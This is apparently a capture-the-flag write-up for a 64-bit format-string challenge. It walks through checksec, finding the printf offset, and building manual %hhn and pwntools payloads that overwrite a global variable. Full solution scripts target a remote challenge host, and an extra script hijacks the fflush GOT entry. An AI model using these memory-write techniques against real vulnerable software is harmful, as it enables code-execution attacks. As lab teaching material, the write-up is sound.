Alpha-7 Format Override
Analysis
As always, start by examining the binary's security properties using checksec.
$ checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
printf without a format specifier. Here's also a global variable security_code initialized to 0x21646f63. At line 22, an if statement checks if security_code equals to 0x64657461, if true we get the flag. Our goal is to overwrite security_code with 0x64657461 via the format string bug.
Find the offset
Spam input like %p %p %p %p ... and count the outputs until you spot printable ASCII strings resembling your input. This offset tells you where your payload starts controlling memory.
Find the Target Address
There are many ways to find the address of security_code. You can use gdb, nm or a pwntools function to find it. If you not farmiliar with pwntools, try using nm or gdb.
This tool will also make your exploit much more readable.
addr = elf.sym["security_code"]
But for beginners I recommend using this.
nm format1 | grep "security_code"
Craft the Payload
For beginners, manually crafting the payload a few times before using fmtstr_payload() help you to understand this technique.
This is manual way to craft the payload.
def manual_payload():
# address of security code
# or you can use 'nm format1 | grep "security_code"' command to get the address
#dest = 0x404050
dest = elf.sym["security_code"]
#val = 0x64657461
# 4 bytes -- xxxxxxxx index (0x00 written)
payload = b'%93c----' # 14 93 = 0x61 - 0x00 - 4 (0x61 written)
payload += b'%21$hhn-' # 15 write 0x61 on index 21 (0x62 written)
payload += b'%14c----' # 16 14 = 0x74 - 0x62 - 4 (0x74 written)
payload += b'%22$hhn-' # 17 write 0x74 on index 22 (0x75 written)
payload += b'%236c---' # 18 236 = 0x64 + 0x100 - 0x75 - 3 (0x164 written)(overflow)
payload += b'%24$hhn-' # 19 write 0x64 on index 24 (0x165 written)(overflow)
payload += b'%23$hhn-' # 20 write 0x65 on index 23 (done)
payload += p64(dest) # 21
payload += p64(dest + 1) # 22
payload += p64(dest + 2) # 23
payload += p64(dest + 3) # 24
return payload
This is the faster and better way to build the payload.
def auto_payload():
# address of security code
# or you can use 'nm format1 | grep "security_code"' command to get the address
#dest = 0x404050
dest = elf.sym["security_code"]
val = 0x64657461
write = {
dest : val
}
# adjust the write size if it is not working (byte, short, int)
payload = fmtstr_payload(14, write, write_size="byte")
return payload
Solution
#!/usr/bin/env python3
from pwn import *
import time
elf = ELF("./format1_patched")
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""
def conn():
if args.REMOTE:
r = remote("34.130.180.230", 5675)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
def manual_payload():
# address of security code
# or you can use 'nm format1 | grep "security_code"' command to get the address
#dest = 0x404050
dest = elf.sym["security_code"]
#val = 0x64657461
# 4 bytes -- xxxxxxxx index (0x00 written)
payload = b'%93c----' # 14 93 = 0x61 - 0x00 - 4 (0x61 written)
payload += b'%21$hhn-' # 15 write 0x61 on index 21 (0x62 written)
payload += b'%14c----' # 16 14 = 0x74 - 0x62 - 4 (0x74 written)
payload += b'%22$hhn-' # 17 write 0x74 on index 22 (0x75 written)
payload += b'%236c---' # 18 236 = 0x64 + 0x100 - 0x75 - 3 (0x164 written)(overflow)
payload += b'%24$hhn-' # 19 write 0x64 on index 24 (0x165 written)(overflow)
payload += b'%23$hhn-' # 20 write 0x65 on index 23 (done)
payload += p64(dest) # 21
payload += p64(dest + 1) # 22
payload += p64(dest + 2) # 23
payload += p64(dest + 3) # 24
return payload
def auto_payload():
# address of security code
# or you can use 'nm format1 | grep "security_code"' command to get the address
#dest = 0x404050
dest = elf.sym["security_code"]
val = 0x64657461
write = {
dest : val
}
# adjust the write size if it is not working (byte, short, int)
payload = fmtstr_payload(14, write, write_size="byte")
return payload
def main():
r = conn()
#payload = auto_payload()
payload = manual_payload()
# send the payload
r.sendline(payload)
# large payload, gonna take some time
# adjust sleep time if needed
log.progress("Sending...")
sleep(1)
# discard all the garbage
r.recvuntil(b'CLASSIFIED DATA: ')
flag = r.recvuntil(b'}').decode("ascii")
print()
print(flag)
print()
if __name__ == "__main__":
main()
Extra
If you want to show some disrespect to the challenge author, skip the security_code entirely and target the Global Offset Table. Since RELRO is partial, overwriting the got entry is doable.
#!/usr/bin/env python3
from pwn import *
import time
elf = ELF("./format1_patched")
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""
def conn():
if args.REMOTE:
r = remote("34.130.180.230", 5675)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
def main():
r = conn()
dest = elf.got["fflush"]
val = 0x4012e5
write = {
dest : val
}
offset = 14
payload = fmtstr_payload(offset, write, write_size="byte")
r.sendline(payload)
log.progress("Sending...")
sleep(1)
r.recvuntil(b'CLASSIFIED DATA: ')
flag = r.recvuntil(b'}').decode("ascii")
print()
print(flag)
print()
if __name__ == "__main__":
main()